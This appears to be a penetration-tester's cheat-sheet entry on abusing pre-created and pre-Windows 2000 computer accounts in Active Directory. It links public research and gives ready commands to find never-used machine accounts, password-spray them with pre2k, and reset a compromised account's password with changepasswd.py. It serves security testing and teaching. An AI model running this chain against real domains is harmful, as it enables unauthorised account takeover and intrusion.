Pre-created Computers Abuse

Pre-created Computer Accounts & Pre-Windows 2000

ACL Abuse on Pre-Windows 2000 Computers

• https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/

• https://www.optiv.com/insights/source-zero/blog/diving-deeper-pre-created-computer-accounts

• https://github.com/garrettfoster13/pre2k

• https://github.com/eversinc33/Invoke-Pre2kSpray

Search for machines that never updated their passwords:

$ cat 19700101000000_computers.json | jq '.data[].Properties | select(.enabled == true and .pwdlastset == 0) | .name' -r > pre2k.txt

Initiate a pitchfork spray against them:

$ pre2k unauth -d megacorp.local -dc-ip 192.168.1.11 -inputfile pre2k.txt -sleep 10 -jitter 30 -threads 1

Change password to authenticate via NTLM:

$ changepasswd.py megacorp.local/'PC01$:pc01'@192.168.1.11 -newpass 'Passw0rd!' -protocol kpasswd -dc-ip 192.168.1.11

ACL Abuse on Pre-created Computers

• https://dirkjanm.io/abusing-forgotten-permissions-on-precreated-computer-objects-in-active-directory/